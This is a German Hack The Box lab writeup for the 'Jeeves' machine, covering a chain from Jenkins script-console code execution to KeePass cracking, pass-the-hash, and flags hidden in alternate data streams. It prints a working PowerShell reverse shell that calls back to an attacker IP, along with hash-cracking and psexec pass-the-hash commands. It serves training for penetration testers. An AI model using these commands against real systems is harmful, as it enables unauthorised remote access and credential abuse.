← Zurück zu Machines

HTB · published

Jeeves

Hack The Box CPTS-Track Writeup für Jeeves: Jenkins Script Console RCE, KeePass Credential Recovery, Pass-the-Hash und Root-Flag in Alternate Data Streams.

HTBCPTSWriteupWindowsJenkinsKeePassPass-the-HashADSMachine

Metadaten

  • Name: Jeeves
  • IP Address: 10.129.228.112
  • Plattform: Windows
  • Kategorie: Web / Jenkins / KeePass / Pass-the-Hash / Alternate Data Streams
  • Schwierigkeit: Medium
  • Ziel(e): User, Administrator / Root
  • Kurzbeschreibung: Jeeves ist eine Windows-Maschine, bei der der Einstieg über eine ungeschützte Jenkins-Instanz auf Port 50000 erfolgt. Über die Jenkins Script Console wird Code als Benutzer kohsuke ausgeführt und eine Reverse Shell gestartet. Nach der Enumeration wird eine KeePass-Datenbank gefunden und gecrackt. Daraus ergibt sich ein Administrator-Hash, der per Pass-the-Hash genutzt wird. Die Root-Flag liegt nicht direkt in hm.txt, sondern in einem Alternate Data Stream.

Reconnaissance / Enumeration

Der initiale Full-Port-Scan zeigte vier offene TCP-Ports:

PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
50000/tcp open  ibm-db2

Der Service-Scan ordnete die Dienste genauer ein:

PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT

Wichtige Beobachtungen:

Host: JEEVES
OS: Windows
SMB signing: not required
Clock skew: +5 hours
Port 80 title: Ask Jeeves
Port 50000: Jetty 9.4.z-SNAPSHOT

Port 80 zeigte nur die normale Ask-Jeeves-Seite. Interessanter war Port 50000, da Jetty häufig Jenkins-Webapps hostet.

Web Enumeration

Auf Port 50000 wurde mit ffuf enumeriert:

ffuf -u http://jeeves.htb:50000/FUZZ \
  -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt

Der entscheidende Treffer:

askjeeves               [Status: 302]

Die Jenkins-Instanz war erreichbar unter:

http://jeeves.htb:50000/askjeeves/

Besonders wichtig war die Script Console:

http://jeeves.htb:50000/askjeeves/script

Diese war ohne Authentifizierung nutzbar und ermöglichte Groovy-Codeausführung.

Initial Code Execution

In der Jenkins Script Console wurde zunächst der aktuelle Kontext geprüft:

println "whoami /all".execute().text

Ausgabe:

User Name      SID
============== ===========================================
jeeves\kohsuke S-1-5-21-2851396806-8246019-2289784878-1001

Wichtige Privileges:

SeImpersonatePrivilege        Enabled
SeCreateGlobalPrivilege       Enabled

Damit war bestätigt: Jenkins führt Befehle als lokaler Benutzer kohsuke aus.

Foothold: Reverse Shell

Über die Script Console wurde eine PowerShell-Reverse-Shell gestartet:

def cmd = """
powershell -nop -w hidden -c "
\\$c=New-Object System.Net.Sockets.TCPClient('10.10.15.136',443);
\\$s=\\$c.GetStream();
[byte[]]\\$b=0..65535|%{0};
while((\\$i=\\$s.Read(\\$b,0,\\$b.Length)) -ne 0){
 \\$d=(New-Object Text.ASCIIEncoding).GetString(\\$b,0,\\$i);
 \\$r=(iex \\$d 2>&1 | Out-String);
 \\$r2=\\$r+'PS '+(pwd).Path+'> ';
 \\$sb=([text.encoding]::ASCII).GetBytes(\\$r2);
 \\$s.Write(\\$sb,0,\\$sb.Length); \\$s.Flush()
}"
"""
cmd.execute()

Listener:

nc -lnvp 443

Eingehende Verbindung:

connect to [10.10.15.136] from (UNKNOWN) [10.129.228.112] 49676
PS C:\Users\Administrator\.jenkins>

User Flag

Die User-Flag lag auf dem Desktop von kohsuke:

type C:\Users\kohsuke\Desktop\user.txt
e3232[REDACTED-USER-FLAG]066a

Local Enumeration

winPEAS bestätigte das System:

Host Name:      JEEVES
OS Name:        Microsoft Windows 10 Pro
OS Version:     10.0.10586 Build 10586
Domain:         WORKGROUP
System Type:    x64-based PC

Der User-Kontext hatte SeImpersonatePrivilege, wodurch Exploits wie PrintSpoofer/Juicy/RoguePotato grundsätzlich interessant waren:

SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Dieser Weg wurde notiert, aber der erfolgreiche Pfad lief über KeePass-Credentials.

KeePass Database

Bei der Enumeration wurde eine KeePass-Datenbank gefunden:

CEH.kdbx

Der Hash wurde mit keepass2john extrahiert:

keepass2john CEH.kdbx > hash.txt

Beispielausgabe:

CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*...

Das Passwort der KeePass-Datenbank wurde gecrackt:

moonshine1

In der Datenbank befand sich ein Administrator-NTLM-Hash:

Administrator NTLM: e0fb1fb85756c24235ff238cbe81fe00

Pass-the-Hash als Administrator

Der Hash wurde zuerst mit NetExec gegen SMB validiert:

netexec smb 10.129.228.112 \
  -u Administrator \
  -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Ergebnis:

SMB  10.129.228.112  445  JEEVES  [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Danach wurde mit Impacket psexec.py eine Administrator-Shell geöffnet:

python3 psexec.py administrator@10.129.228.112 \
  -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00

Erfolgreiche Shell:

Microsoft Windows [Version 10.0.10586]
C:\Windows\system32>

Root Flag: Alternate Data Stream

Auf dem Administrator-Desktop lag zunächst nur eine Datei hm.txt:

dir C:\Users\Administrator\Desktop\
12/24/2017  02:51 AM                36 hm.txt
11/08/2017  09:05 AM               797 Windows 10 Update Assistant.lnk

Der Inhalt war ein Hinweis:

type C:\Users\Administrator\Desktop\hm.txt
The flag is elsewhere.  Look deeper.

Der Trick war ein Alternate Data Stream. Mit /R wurden Streams sichtbar:

dir /R C:\Users\Administrator\Desktop\
12/24/2017  02:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA

Die Root-Flag wurde aus dem ADS gelesen:

more < C:\Users\Administrator\Desktop\hm.txt:root.txt
afbc5[REDACTED-ROOT-FLAG]2530

Alternative Paths / Rabbit Holes

  • SeImpersonatePrivilege war aktiv und machte PrintSpoofer/Juicy/RoguePotato interessant.
  • PrintSpoofer wurde vorbereitet, war aber für den finalen Weg nicht nötig.
  • Die eigentliche Eskalation gelang über KeePass und Pass-the-Hash.
  • Die sichtbare hm.txt war nicht die Flag, sondern nur ein Hinweis auf Alternate Data Streams.

Post-Exploitation

  • Foothold: Jenkins Script Console auf http://jeeves.htb:50000/askjeeves/script.
  • User: Reverse Shell als jeeves\kohsuke.
  • User-Flag: C:\Users\kohsuke\Desktop\user.txt.
  • Credential Recovery: KeePass-Datenbank CEH.kdbx, Passwort moonshine1.
  • Admin: Administrator-NTLM-Hash per Pass-the-Hash mit psexec.py.
  • Root-Flag: ADS hm.txt:root.txt.

Lessons Learned

  • Unprotected Jenkins ist kritisch: Script Console bedeutet direkte Codeausführung.
  • Port 50000 nicht ignorieren: Jetty auf einem ungewöhnlichen Port war der eigentliche Einstieg.
  • KeePass-Dateien sind High-Value Loot: Ein .kdbx kann den kompletten PrivEsc-Pfad enthalten.
  • Pass-the-Hash bleibt stark: Ein NTLM-Hash reicht oft für SMB/Admin-Zugriff.
  • Windows ADS prüfen: dir /R ist Pflicht, wenn Hinweise wie “Look deeper” auftauchen.

Notizen

Jeeves ist eine sehr gute CPTS-Track-Maschine, weil sie mehrere Themen sauber verbindet: Web-Enumeration, Jenkins RCE, Windows-Enumeration, Credential Recovery aus KeePass, Pass-the-Hash und Alternate Data Streams.